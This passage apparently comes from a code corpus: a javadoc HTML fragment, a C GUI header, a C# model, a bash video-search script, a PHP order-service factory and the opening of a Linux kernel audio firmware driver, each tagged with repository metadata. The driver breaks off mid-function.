the specified function over a fixed range.</div> </td> </tr> </tbody> </table> </li> </ul> </li> </ul> </div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/jfree/data/function/Function2D.html" title="interface in org.jfree.data.function">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/jfree/data/function/class-use/Function2D.html" target="_top">Frames</a></li> <li><a href="Function2D.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
Mr-Steve/LTSpice_Library_Manager
libs/jfreechart-1.0.16/javadoc/org/jfree/data/function/class-use/Function2D.html
HTML
gpl-2.0
10,372
#ifndef GUI_DRAW_H #define GUI_DRAW_H //------------------------------------------------------------------- #if CAM_BITMAP_PALETTE==1 #define COLOR_TRANSPARENT 0x00 #define COLOR_WHITE 0x11 #define COLOR_RED 0x22 #define COLOR_GREY 0x3F #define COLOR_GREEN 0x55 #define COLOR_BLUE_LT 0xDD #define COLOR_BLUE 0xDF #define COLOR_YELLOW 0xEE #define COLOR_BLACK 0xFF //#define COLOR_BG 0x0F #define COLOR_BG 0x44 #define COLOR_FG COLOR_WHITE #define COLOR_SELECTED_BG COLOR_RED #define COLOR_SELECTED_FG COLOR_WHITE #define COLOR_ALT_BG 0xD4 #define COLOR_SPLASH_RED 0x2E #define COLOR_SPLASH_PINK 0x21 #define COLOR_SPLASH_GREY 0x1F #elif CAM_BITMAP_PALETTE==2 #define COLOR_TRANSPARENT 0x00 #define COLOR_WHITE 0xD3 #define COLOR_RED 0x64 #define COLOR_GREY 0x12 #define COLOR_GREEN 0xC4 #define COLOR_BLUE_LT 0x6A #define COLOR_BLUE 0x87 #define COLOR_YELLOW 0x44 #define COLOR_BLACK 0xFF //#define COLOR_BG 0x0F #define COLOR_BG 0x22 #define COLOR_FG COLOR_WHITE #define COLOR_SELECTED_BG COLOR_RED #define COLOR_SELECTED_FG COLOR_WHITE #define COLOR_ALT_BG 0x22 #define COLOR_SPLASH_RED 0x58 #define COLOR_SPLASH_PINK 0x4C #define COLOR_SPLASH_GREY 0x16 #else #error CAM_BITMAP_PALETTE not defined #endif #define FONT_WIDTH 8 #define FONT_HEIGHT 16 //------------------------------------------------------------------- extern unsigned int screen_width, screen_height, screen_size; extern unsigned int screen_buffer_width, screen_buffer_height, screen_buffer_size; //------------------------------------------------------------------- void draw_init(); void draw_set_draw_proc(void (*pixel_proc)(unsigned int offset, color cl)); extern color draw_get_pixel(coord x, coord y); extern void draw_line(coord x1, coord y1, coord x2, coord y2, color cl); // draw frame extern void draw_rect(coord x1, coord y1, coord x2, coord y2, color cl); extern void draw_round_rect(coord x1, coord y1, coord x2, coord y2, color cl); // color: hi_byte - BG; lo_byte - FG extern void draw_filled_rect(coord x1, coord y1, coord x2, coord y2, color cl); extern void draw_filled_round_rect(coord x1, coord y1, coord x2, coord y2, color cl); extern void draw_char(coord x, coord y, const char ch, color cl); extern void draw_string(coord x, coord y, const char *s, color cl); extern void draw_txt_rect(coord col, coord row, unsigned int length, unsigned int height, color cl); extern void draw_txt_rect_exp(coord col, coord row, unsigned int length, unsigned int height, unsigned int exp, color cl); extern void draw_txt_filled_rect(coord col, coord row, unsigned int length, unsigned int height, color cl); extern void draw_txt_filled_rect_exp(coord col, coord row, unsigned int length, unsigned int height, unsigned int exp, color cl); extern void draw_txt_string(coord col, coord row, const char *str, color cl); extern void draw_txt_char(coord col, coord row, const char ch, color cl); extern void draw_clear(); extern void draw_restore(); extern void draw_fill(coord x, coord y, color cl_fill, color cl_bound); extern void draw_circle(coord x, coord y, const unsigned int r, color cl); extern void draw_ellipse(coord xc, coord yc, unsigned int a, unsigned int b, color cl); extern void draw_filled_ellipse(coord xc, coord yc, unsigned int a, unsigned int b, color cl); //------------------------------------------------------------------- #endif
shentok/chdk-a430
core/gui_draw.h
C
gpl-2.0
3,611
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Web; namespace HaloShare.Models { public class Report { [Key] public int Id { get; set; } public int? AuthorId {get;set;} public string Description { get; set; } [Required] public string Url { get; set; } [Display(Name = "Handled")] public bool IsHandled { get; set; } [Display(Name = "Reported On")] public DateTime ReportedOn { get; set; } [ForeignKey("AuthorId")] public virtual User Author { get; set; } } }
ElDewrito/HaloShare
HaloShare/Models/Report.cs
C#
gpl-2.0
702
#!/bin/bash printf "\n\tWhich File you wanna play?: " read file_name echo -e "\tYou entered file : $file_name \n\nMy search shows following possibilities:\n\nNo.| \t Name" echo -e "------------------------------------------------" find /media/tanmay \( -iname "*$file_name*.mp4" -o -iname "*$file_name*.avi" -o -iname "*$file_name*.mkv" \) > /home/tanmay/search.txt #Takes each file name and removes everything from name until the last '/' from left is found count=1 color=30 cat /home/tanmay/search.txt | while read line do let color++ printf "\e[1;${color}m" printf "%-2d | " $count echo $line | sed 's/.*\///g' printf "\e[0m" let count++ if [ $color -eq 38 ]; then let color=30 fi done printf "\nSelect Option: " read choice echo -e "\n\nThe file is located at path:\n" cat /home/tanmay/search.txt | sed ''$choice'q;d' | sed 's/ /\\ /g' | sed 's/(/\\(/g' | sed 's/)/\\)/g' | sed "s/'/\\\'/g" | sed 's/&/\\&/g' echo -e "\nLaunching with VLC..." cat /home/tanmay/search.txt | sed ''$choice'q;d' | sed 's/ /\\ /g' | sed 's/(/\\(/g' | sed 's/)/\\)/g' | sed "s/'/\\\'/g" | sed 's/&/\\&/g' | xargs vlc --fullscreen 2>/dev/null & disown #echo -e "\nUsage: vlc 'copied_string'\n" echo -e "\n" exit 0
tanmay-kulkarni/search-movie-utility
search-video.sh
Shell
gpl-2.0
1,226
<?php /* -------------------------------------------------------------- OrderServiceFactory.php 2015-12-22 Gambio GmbH http://www.gambio.de Copyright (c) 2015 Gambio GmbH Released under the GNU General Public License (Version 2) [http://www.gnu.org/licenses/gpl-2.0.html] -------------------------------------------------------------- */ MainFactory::load_class('AbstractOrderServiceFactory'); /** * Class OrderServiceFactory * * @category System * @package Order * @subpackage Factories */ class OrderServiceFactory extends AbstractOrderServiceFactory { /** * Query builder. * @var CI_DB_query_builder */ protected $db; /** * OrderServiceFactory constructor. * * @param CI_DB_query_builder $db Query builder. */ public function __construct(CI_DB_query_builder $db) { $this->db = $db; } /** * Creates and returns an order write service object. * * @return OrderWriteService New order write service object. */ public function createOrderWriteService() { $orderRepository = $this->_createOrderRepository(); $orderItemRepository = $this->_createOrderItemRepository(); $orderItemAttributeRepositoryFactory = $this->_createOrderItemAttributeRepositoryFactory(); $orderTotalRepository = $this->_createOrderTotalRepository(); $orderStatusHistoryReader = $this->_createOrderStatusHistoryStorage(); $orderServiceSettings = $this->_createOrderServiceSettings(); return MainFactory::create('OrderWriteService', $orderRepository, $orderItemRepository, $orderItemAttributeRepositoryFactory, $orderTotalRepository, $orderStatusHistoryReader, $orderServiceSettings); } /** * Creates and returns an order read service object. * * @return OrderReadService New order read service object. */ public function createOrderReadService() { $orderRepository = $this->_createOrderRepository(); $orderItemRepository = $this->_createOrderItemRepository(); $orderListGenerator = $this->_createOrderListGenerator(); return MainFactory::create('OrderReadService', $orderRepository, $orderItemRepository, $orderListGenerator); } /** * Creates and returns an order object service. * * @return OrderObjectService New order object service. */ public function createOrderObjectService() { $orderItemFactory = MainFactory::create('OrderItemFactory'); $orderItemAttributeFactory = MainFactory::create('OrderItemAttributeFactory'); $orderItemPropertyFactory = MainFactory::create('OrderItemPropertyFactory'); $orderTotalFactory = MainFactory::create('OrderTotalFactory'); return MainFactory::create('OrderObjectService', $orderItemFactory, $orderItemAttributeFactory, $orderItemPropertyFactory, $orderTotalFactory); } /** * Creates and returns an order repository. * * @return OrderRepository New order repository. */ protected function _createOrderRepository() { $orderFactory = MainFactory::create('OrderFactory'); $countryService = StaticGXCoreLoader::getService('Country'); $orderRepositoryReader = MainFactory::create('OrderRepositoryReader', $this->db, $orderFactory, $countryService); $orderRepositoryWriter = MainFactory::create('OrderRepositoryWriter', $this->db); $orderRepositoryDeleter = MainFactory::create('OrderRepositoryDeleter', $this->db); $orderItemRepository = $this->_createOrderItemRepository(); $orderTotalRepository = $this->_createOrderTotalRepository(); $orderStatusHistoryReader = $this->_createOrderStatusHistoryStorage(); $addonValueService = MainFactory::create('AddonValueService', MainFactory::create('AddonValueStorageFactory', $this->db)); return MainFactory::create('OrderRepository', $orderFactory, $orderRepositoryWriter, $orderRepositoryReader, $orderRepositoryDeleter, $orderItemRepository, $orderTotalRepository, $orderStatusHistoryReader, $addonValueService); } /** * Creates and returns an order item repository. * * @return OrderItemRepository New order item repository. */ protected function _createOrderItemRepository() { $orderItemFactory = MainFactory::create('OrderItemFactory'); $orderItemRepositoryReader = MainFactory::create('OrderItemRepositoryReader', $this->db, $orderItemFactory); $orderItemRepositoryWriter = MainFactory::create('OrderItemRepositoryWriter', $this->db); $orderItemRepositoryDeleter = MainFactory::create('OrderItemRepositoryDeleter', $this->db); $orderItemAttributeRepositoryFactory = $this->_createOrderItemAttributeRepositoryFactory(); $addonValueService = MainFactory::create('AddonValueService', MainFactory::create('AddonValueStorageFactory', $this->db)); return MainFactory::create('OrderItemRepository', $orderItemAttributeRepositoryFactory, $orderItemRepositoryReader, $orderItemRepositoryWriter, $orderItemRepositoryDeleter, $addonValueService); } /** * Creates and returns and order item attribute repository factory. * * @return OrderItemAttributeRepositoryFactory New order item attribute repository factory. */ protected function _createOrderItemAttributeRepositoryFactory() { return MainFactory::create('OrderItemAttributeRepositoryFactory', $this->db); } /** * Creates and returns an order total repository. * * @return OrderTotalRepository New order total repository. */ protected function _createOrderTotalRepository() { $orderTotalFactory = MainFactory::create('OrderTotalFactory'); $orderTotalRepositoryReader = MainFactory::create('OrderTotalRepositoryReader', $this->db, $orderTotalFactory); $orderTotalRepositoryWriter = MainFactory::create('OrderTotalRepositoryWriter', $this->db); $orderTotalRepositoryDeleter = MainFactory::create('OrderTotalRepositoryDeleter', $this->db); return MainFactory::create('OrderTotalRepository', $orderTotalRepositoryReader, $orderTotalRepositoryWriter, $orderTotalRepositoryDeleter); } /** * Creates and returns a order status history storage. * * @return OrderStatusHistoryStorage New order status history storage. */ protected function _createOrderStatusHistoryStorage() { return MainFactory::create('OrderStatusHistoryStorage', $this->db); } /** * Creates and returns an order list generator. * * @return OrderListGenerator New order list generator. */ protected function _createOrderListGenerator() { return MainFactory::create('OrderListGenerator', $this->db); } /** * Creates a order service settings object * * @return OrderServiceSettings New order service settings object */ protected function _createOrderServiceSettings() { return MainFactory::create('OrderServiceSettings', array(1)); } }
khadim-raath/gambioTest
GXMainComponents/Services/Core/Order/Factories/OrderServiceFactory.inc.php
PHP
gpl-2.0
7,569
/* Copyright (c) 2014-2017, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and * only version 2 as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include <linux/module.h> #include <linux/firmware.h> #include <linux/device.h> #include <linux/slab.h> #include <linux/elf.h> #include <linux/wait.h> #include <linux/debugfs.h> #include <linux/delay.h> #include <linux/pm_qos.h> #include <linux/dma-mapping.h> #include <sound/soc.h> #include <sound/info.h> #include <sound/lsm_params.h> #include <sound/cpe_core.h> #include <sound/cpe_cmi.h> #include <sound/cpe_err.h> #include <soc/qcom/pm.h> #include <linux/mfd/wcd9xxx/core.h> #include <linux/mfd/wcd9xxx/core-resource.h> #include <sound/audio_cal_utils.h> #include "wcd_cpe_core.h" #include "wcd_cpe_services.h" #include "wcd_cmi_api.h" #define CMI_CMD_TIMEOUT (10 * HZ) #define WCD_CPE_LSM_MAX_SESSIONS 2 #define WCD_CPE_AFE_MAX_PORTS 4 #define AFE_SVC_EXPLICIT_PORT_START 1 #define WCD_CPE_EC_PP_BUF_SIZE 480 /* 5 msec buffer */ #define ELF_FLAG_EXECUTE (1 << 0) #define ELF_FLAG_WRITE (1 << 1) #define ELF_FLAG_READ (1 << 2) #define ELF_FLAG_RW (ELF_FLAG_READ | ELF_FLAG_WRITE) #define WCD_CPE_GRAB_LOCK(lock, name) \ { \ pr_debug("%s: %s lock acquire\n", \ __func__, name); \ mutex_lock(lock); \ } #define WCD_CPE_REL_LOCK(lock, name) \ { \ pr_debug("%s: %s lock release\n", \ __func__, name); \ mutex_unlock(lock); \ } #define WCD_CPE_STATE_MAX_LEN 11 #define CPE_OFFLINE_WAIT_TIMEOUT (2 * HZ) #define CPE_READY_WAIT_TIMEOUT (3 * HZ) #define WCD_CPE_SYSFS_DIR_MAX_LENGTH 32 #define CPE_ERR_IRQ_CB(core) \ (core->cpe_cdc_cb->cpe_err_irq_control) /* * AFE output buffer size is always * (sample_rate * number of bytes per sample/2*1000) */ #define AFE_OUT_BUF_SIZE(bit_width, sample_rate) \ (((sample_rate) * (bit_width / BITS_PER_BYTE))/(2*1000)) enum afe_port_state { AFE_PORT_STATE_DEINIT = 0, AFE_PORT_STATE_INIT, AFE_PORT_STATE_CONFIG, AFE_PORT_STATE_STARTED, AFE_PORT_STATE_SUSPENDED, }; struct wcd_cmi_afe_port_data { u8 port_id; struct mutex afe_lock; struct completion afe_cmd_complete; enum afe_port_state port_state; u8 cmd_result; u32 mem_handle; }; struct cpe_lsm_ids { u32 module_id; u32 param_id; }; static struct wcd_cpe_core *core_d; static struct cpe_lsm_session *lsm_sessions[WCD_CPE_LSM_MAX_SESSIONS + 1]; struct wcd_cpe_core * (*wcd_get_cpe_core) (struct snd_soc_codec *); static struct wcd_cmi_afe_port_data afe_ports[WCD_CPE_AFE_MAX_PORTS + 1]; static void wcd_cpe_svc_event_cb(const struct cpe_svc_notification *param); static int wcd_cpe_setup_irqs(struct wcd_cpe_core *core); static void wcd_cpe_cleanup_irqs(struct wcd_cpe_core *core); static ssize_t cpe_ftm_test_trigger(struct file *file, const char __user *user_buf, size_t count, loff_t *ppos); static u32 ramdump_enable; static u32 cpe_ftm_test_status; static const struct file_operations cpe_ftm_test_trigger_fops = { .open = simple_open, .write = cpe_ftm_test_trigger, }; static int wcd_cpe_afe_svc_cmd_mode(void *core_handle, u8 mode); struct wcd_cpe_attribute { struct attribute attr; ssize_t (*show)(struct wcd_cpe_core *core, char *buf); ssize_t (*store)(struct wcd_cpe_core *core, const char *buf, ssize_t count); }; #define WCD_CPE_ATTR(_name, _mode, _show, _store) \ static struct wcd_cpe_attribute cpe_attr_##_name = { \ .attr = {.name = __stringify(_name), .mode = _mode}, \ .show = _show, \ .store = _store, \ } #define to_wcd_cpe_attr(a) \ container_of((a), struct wcd_cpe_attribute, attr) #define kobj_to_cpe_core(kobj) \ container_of((kobj), struct wcd_cpe_core, cpe_kobj) /* wcd_cpe_lsm_session_active: check if any session is active * return true if any session is active. */ static bool wcd_cpe_lsm_session_active(void) { int index = 1; bool lsm_active = false; /* session starts from index 1 */ for (; index <= WCD_CPE_LSM_MAX_SESSIONS; index++) { if (lsm_sessions[index] != NULL) { lsm_active = true; break; } else { lsm_active = false; } } return lsm_active; } static int wcd_cpe_get_sfr_dump(struct wcd_cpe_core *core) { struct cpe_svc_mem_segment dump_seg; int rc; u8 *sfr_dump; sfr_dump = kzalloc(core->sfr_buf_size, GFP_KERNEL); if (!sfr_dump) { dev_err(core->dev, "%s: No memory for sfr dump\n", __func__); goto done; } dump_seg.type = CPE_SVC_DATA_MEM; dump_seg.cpe_addr = core->sfr_buf_addr; dump_seg.size = core->sfr_buf_size; dump_seg.data = sfr_dump; dev_dbg(core->dev, "%s: reading SFR from CPE, size = %zu\n", __func__, core->sfr_buf_size); rc = cpe_svc_ramdump(core->cpe_handle, &dump_seg); if (IS_ERR_VALUE(rc)) { dev_err(core->dev, "%s: Failed to read cpe sfr_dump, err = %d\n", __func__, rc); goto free_sfr_dump; } dev_info(core->dev, "%s: cpe_sfr = %s\n", __func__, sfr_dump); free_sfr_dump: kfree(sfr_dump); done: /* Even if SFR dump failed, do not return error */ return 0; } static int wcd_cpe_collect_ramdump(struct wcd_cpe_core *core) { struct cpe_svc_mem_segment dump_seg; int rc; if (!core->cpe_ramdump_dev || !core->cpe_dump_v_addr || core->hw_info.dram_size == 0) { dev_err(core->dev, "%s: Ramdump devices not set up, size = %zu\n", __func__, core->hw_info.dram_size); return -EINVAL; } dump_seg.type = CPE_SVC_DATA_MEM; dump_seg.cpe_addr = core->hw_info.dram_offset; dump_seg.size = core->hw_info.dram_size; dump_seg.data = core->cpe_dump_v_addr; dev_dbg(core->dev, "%s: Reading ramdump from CPE\n", __func__); rc = cpe_svc_ramdump(core->cpe_handle, &dump_seg); if (IS_ERR_VALUE(rc)) { dev_err(core->dev, "%s: Failed to read CPE ramdump, err = %d\n", __func__, rc); return rc; } dev_dbg(core->dev, "%s: completed reading ramdump from CPE\n", __func__); core->cpe_ramdump_seg.address = (unsigned long) core->cpe_dump_addr; core->cpe_ramdump_seg.size = core->hw_info.dram_size; core->cpe_ramdump_seg.v_address = core->cpe_dump_v_addr; rc = do_ramdump(core->cpe_ramdump_dev, &core->cpe_ramdump_seg, 1); if (rc) dev_err(core->dev, "%s: fail to dump cpe ram to device, err = %d\n", __func__, rc); return rc; } /* wcd_cpe_is_valid_elf_hdr: check if the ELF header is valid * @core: handle to wcd_cpe_core * @fw_size: size of firmware from request_firmware * @ehdr: the elf header to be checked for * return true if all checks pass, true if any elf check fails */ static bool wcd_cpe_is_valid_elf_hdr(struct wcd_cpe_core *core, size_t fw_size, const struct elf32_hdr *ehdr) { if (fw_size < sizeof(*ehdr)) { dev_err(core->dev, "%s:Firmware too small\n", __func__); goto elf_check_fail; } if (memcmp(ehdr->e_ident, ELFMAG, SELFMAG) != 0) { dev_err(core->dev, "%s: Not an ELF file\n", __func__); goto elf_check_fail; } if (ehdr->e_type != ET_EXEC && ehdr->e_type != ET_DYN) { dev_err(core->dev, "%s: Not a executable image\n", __func__); goto elf_check_fail; } if (ehdr->e_phnum == 0) { dev_err(core->dev, "%s: no segments to load\n", __func__); goto elf_check_fail; } if (sizeof(struct elf32_phdr) * ehdr->e_phnum + sizeof(struct elf32_hdr) > fw_size) { dev_err(core->dev, "%s: Too small MDT file\n", __func__); goto elf_check_fail; } return true; elf_check_fail: return false; } /* * wcd_cpe_load_each_segment: download segment to CPE * @core: handle to struct wcd_cpe_core * @file_idx: index of split firmware image file name * @phdr: program header from metadata */ static int wcd_cpe_load_each_segment(struct wcd_cpe_core *core, int file_idx, const struct elf32_phdr *phdr) { const struct firmware *split_fw; char split_fname[32]; int ret = 0; struct cpe_svc_mem_segment *segment; if (!core || !phdr) { pr_err("%s: Invalid params\n", __func__); return -EINVAL; } /* file size can be 0 for bss segments */ if (phdr->p_filesz == 0 || phdr->p_memsz == 0) return 0; segment = kzalloc(sizeof(struct cpe_svc_mem_segment), GFP_KERNEL); if (!segment) { dev_err(core->dev, "%s: no memory for segment info, file_idx = %d\n" , __func__, file_idx); return -ENOMEM; } snprintf(split_fname, sizeof(split_fname), "%s.b%02d", core->fname, file_idx); ret = request_firmware(&split_fw, split_fname, core->dev); if (ret) { dev_err(core->dev, "firmware %s not found\n", split_fname); ret = -EIO; goto fw_req_fail; } if (phdr->p_flags & ELF_FLAG_EXECUTE) segment->type = CPE_SVC_INSTRUCTION_MEM; else if (phdr->p_flags & ELF_FLAG_RW) segment->type = CPE_SVC_DATA_MEM; else { dev_err(core->dev, "%s invalid flags 0x%x\n", __func__, phdr->p_flags); goto done; } segment->cpe_addr = phdr->p_paddr; segment->size = phdr->p_filesz; segment->data = (u8 *) split_fw->data; dev_dbg(core->dev, "%s: cpe segment type %s read from firmware\n", __func__, (segment->type == CPE_SVC_INSTRUCTION_MEM) ? "INSTRUCTION" : "DATA"); ret = cpe_svc_download_segment(core->cpe_handle, segment); if (ret) { dev_err(core->dev, "%s: Failed to download %s, error = %d\n", __func__, split_fname, ret); goto done; } done: release_firmware(split_fw); fw_req_fail: kfree(segment); return ret; } /* * wcd_cpe_enable_cpe_clks: enable the clocks for CPE * @core: handle to wcd_cpe_core * @enable: flag indicating whether to enable/disable cpe clocks */ static int wcd_cpe_enable_cpe_clks(struct wcd_cpe_core *core, bool enable) { int ret, ret1; if (!core || !core->cpe_cdc_cb || !core->cpe_cdc_cb->cpe_clk_en) { pr_err("%s: invalid handle\n", __func__); return -EINVAL; } ret = core->cpe_cdc_cb->cdc_clk_en(core->codec, enable); if (ret) { dev_err(core->dev, "%s: Failed to enable RCO\n", __func__); return ret; } if (!enable && core->cpe_clk_ref > 0) core->cpe_clk_ref--; /* * CPE clk will be enabled at the first time * and be disabled at the last time. */ if (core->cpe_clk_ref == 0) { ret = core->cpe_cdc_cb->cpe_clk_en(core->codec, enable); if (ret) { dev_err(core->dev, "%s: cpe_clk_en() failed, err = %d\n", __func__, ret); goto cpe_clk_fail; } } if (enable) core->cpe_clk_ref++; return 0; cpe_clk_fail: /* Release the codec clk if CPE clk enable failed */ if (enable) { ret1 = core->cpe_cdc_cb->cdc_clk_en(core->codec, !enable); if (ret1) dev_err(core->dev, "%s: Fail to release codec clk, err = %d\n", __func__, ret1); } return ret; } /* * wcd_cpe_bus_vote_max_bw: Function to vote for max bandwidth on codec bus * @core: handle to core for cpe * @vote: flag to indicate enable/disable of vote * * This function will try to use the codec provided callback to * vote/unvote for the max bandwidth of the bus that is used by * the codec for register reads/writes. */ static int wcd_cpe_bus_vote_max_bw(struct wcd_cpe_core *core, bool vote) { if (!core || !core->cpe_cdc_cb) { pr_err("%s: Invalid handle to %s\n", __func__, (!core) ? "core" : "codec callbacks"); return -EINVAL; } if (core->cpe_cdc_cb->bus_vote_bw) { dev_dbg(core->dev, "%s: %s cdc bus max bandwidth\n", __func__, vote ? "Vote" : "Unvote"); core->cpe_cdc_cb->bus_vote_bw(core->codec, vote); } return 0; } /* * wcd_cpe_load_fw: Function to load the fw image * @core: cpe core pointer * @load_type: indicates whether to load to data section * or the instruction section * * Parse the mdt file to look for program headers, load each * split file corresponding to the program headers. */ static int wcd_cpe_load_fw(struct wcd_cpe_core *core, unsigned int load_type) { int ret, phdr_idx; struct snd_soc_codec *codec = NULL; struct wcd9xxx *wcd9xxx = NULL; const struct elf32_hdr *ehdr; const struct elf32_phdr *phdr; const struct firmware *fw; const u8 *elf_ptr; char mdt_name[64]; bool img_dload_fail = false; bool load_segment; if (!core || !core->cpe_handle) { pr_err("%s: Error CPE core %pK\n", __func__, core); return -EINVAL; } codec = core->codec; wcd9xxx = dev_get_drvdata(codec->dev->parent); snprintf(mdt_name, sizeof(mdt_name), "%s.mdt", core->fname); ret = request_firmware(&fw, mdt_name, core->dev); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "firmware %s not found\n", mdt_name); return ret; } ehdr = (struct elf32_hdr *) fw->data; if (!wcd_cpe_is_valid_elf_hdr(core, fw->size, ehdr)) { dev_err(core->dev, "%s: fw mdt %s is invalid\n", __func__, mdt_name); ret = -EINVAL; goto done; } elf_ptr = fw->data + sizeof(*ehdr); if (load_type == ELF_FLAG_EXECUTE) { /* Reset CPE first */ ret = cpe_svc_reset(core->cpe_handle); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "%s: Failed to reset CPE with error %d\n", __func__, ret); goto done; } } dev_dbg(core->dev, "%s: start image dload, name = %s, load_type = 0x%x\n", __func__, core->fname, load_type); wcd_cpe_bus_vote_max_bw(core, true); /* parse every program header and request corresponding firmware */ for (phdr_idx = 0; phdr_idx < ehdr->e_phnum; phdr_idx++) { phdr = (struct elf32_phdr *)elf_ptr; load_segment = false; dev_dbg(core->dev, "index = %d, vaddr = 0x%x, paddr = 0x%x, " "filesz = 0x%x, memsz = 0x%x, flags = 0x%x\n" , phdr_idx, phdr->p_vaddr, phdr->p_paddr, phdr->p_filesz, phdr->p_memsz, phdr->p_flags); switch (load_type) { case ELF_FLAG_EXECUTE: if (phdr->p_flags & load_type) load_segment = true; break; case ELF_FLAG_RW: if (!(phdr->p_flags & ELF_FLAG_EXECUTE) && (phdr->p_flags & load_type)) load_segment = true; break; default: pr_err("%s: Invalid load_type 0x%x\n", __func__, load_type); ret = -EINVAL; goto rel_bus_vote; } if (load_segment) { ret = wcd_cpe_load_each_segment(core, phdr_idx, phdr); if (IS_ERR_VALUE(ret)) { dev_err(core->dev, "Failed to load segment %d, aborting img dload\n", phdr_idx); img_dload_fail = true; goto rel_bus_vote; } } else { dev_dbg(core->dev, "%s: skipped segment with index %d\n", __func__, phdr_idx); } elf_ptr = elf_ptr + sizeof(*phdr); } if (load_type == ELF_FLAG_EXECUTE) core->ssr_type = WCD_CPE_IMEM_DOWNLOADED; rel_bus_vote: wcd_cpe_bus_vote_max_bw(core, false); done: release_firmware(fw); return ret; } /* * wcd_cpe_change_online_state - mark cpe online/offline state * @core: core session to mark * @online: whether online of offline * */ static void wcd_cpe_change_online_state(struct wcd_cpe_core *core, int online) { struct wcd_cpe_ssr_entry *ssr_entry = NULL; unsigned long ret; if (!core) { pr_err("%s: Invalid core handle\n", __func__); return; } ssr_entry = &core->ssr_entry; WCD_CPE_GRAB_LOCK(&core->ssr_lock, "SSR"); ssr_entry->offline = !online; wmb(); ret = xchg(&ssr_entry->offline_change, 1); wake_up_interruptible(&ssr_entry->offline_poll_wait); WCD_CPE_REL_LOCK(&core->ssr_lock, "SSR"); pr_debug("%s: change state 0x%x offline_change 0x%x\n" " core->offline 0x%x, ret = %ld\n", __func__, online, ssr_entry->offline_change, core->ssr_entry.offline, ret); } /* * wcd_cpe_load_fw_image: work function to load the fw image * @work: work that is scheduled to perform the image loading * * Parse the mdt file to look for program headers, load each * split file corresponding to the program headers. */ static void wcd_cpe_load_fw_image(struct work_struct *work) { struct wcd_cpe_core *core; int ret = 0; core = container_of(work, struct wcd_cpe_core, load_fw_work); ret = wcd_cpe_load_fw(core, ELF_FLAG_EXECUTE); if (!ret) wcd_cpe_change_online_state(core, 1); else pr_err("%s: failed to load instruction section, err = %d\n", __func__, ret); return; } /* * wcd_cpe_get_core_handle: get the handle to wcd_cpe_core * @codec: codec from which this handle is to be obtained * Codec driver should provide a callback function to obtain * handle to wcd_cpe_core during initialization of wcd_cpe_core */ void *wcd_cpe_get_core_handle( struct snd_soc_codec *codec) { struct wcd_cpe_core *core = NULL; if (!codec) { pr_err("%s: Invalid codec handle\n", __func__); goto done; } if (!wcd_get_cpe_core) { dev_err(codec->dev, "%s: codec callback not available\n", __func__); goto done; } core = wcd_get_cpe_core(codec); if (!core) dev_err(codec->dev, "%s: handle to core not available\n", __func__); done: return core; } /* * svass_engine_irq: threaded interrupt handler for svass engine irq * @irq: interrupt number * @data: data pointer passed during irq registration */ static irqreturn_t svass_engine_irq(int irq, void *data) { struct wcd_cpe_core *core = data; int ret = 0; if (!core) { pr_err("%s: Invalid data for interrupt handler\n", __func__); goto done; } ret = cpe_svc_process_irq(core->cpe_handle, CPE_IRQ_OUTBOX_IRQ); if (IS_ERR_VALUE(ret)) dev_err(core->dev, "%s: Error processing irq from cpe_Services\n", __func__); done: return IRQ_HANDLED; } /* * wcd_cpe_state_read - update read status in procfs * @entry: snd_info_entry * @buf: buffer where the read status is updated. * */ static ssize_t wcd_cpe_state_read(struct snd_info_entry *entry, void *file_private_data, struct file *file, char __user *buf, size_t count, loff_t pos) { int len = 0; char buffer[WCD_CPE_STATE_MAX_LEN]; struct wcd_cpe_core *core = NULL; struct wcd_cpe_ssr_entry *ssr_entry = NULL; core = (struct wcd_cpe_core *) entry->private_data; if (!core) { pr_err("%s: CPE core NULL\n", __func__); return -EINVAL; } ssr_entry = &core->ssr_entry; rmb(); dev_dbg(core->dev, "%s: Offline 0x%x\n", __func__, ssr_entry->offline); WCD_CPE_GRAB_LOCK(&core->ssr_lock, "SSR"); len = snprintf(buffer, sizeof(buffer), "%s\n", ssr_entry->offline ? "OFFLINE" : "ONLINE"); WCD_CPE_REL_LOCK(&core->ssr_lock, "SSR"); return simple_read_from_buffer(buf, count, &pos, buffer, len); } /* * wcd_cpe_state_poll - polls for change state * @entry: snd_info_entry * @wait: wait for duration for poll wait * */ static unsigned int wcd_cpe_state_poll(struct snd_info_entry *entry, void *private_data, struct file *file, poll_table *wait) { struct wcd_cpe_core *core = NULL; struct wcd_cpe_ssr_entry *ssr_entry = NULL; int ret = 0; core = (struct wcd_cpe_core *) entry->private_data; if (!core) { pr_err("%s: CPE core NULL\n", __func__); return -EINVAL; } ssr_entry = &core->ssr_entry; dev_dbg(core->dev, "%s: CPE Poll wait\n", __func__); poll_wait(file, &ssr_entry->offline_poll_wait, wait); dev_dbg(core->dev, "%s: Wake-up Poll wait\n", __func__); WCD_CPE_GRAB_LOCK(&core->ssr_lock, 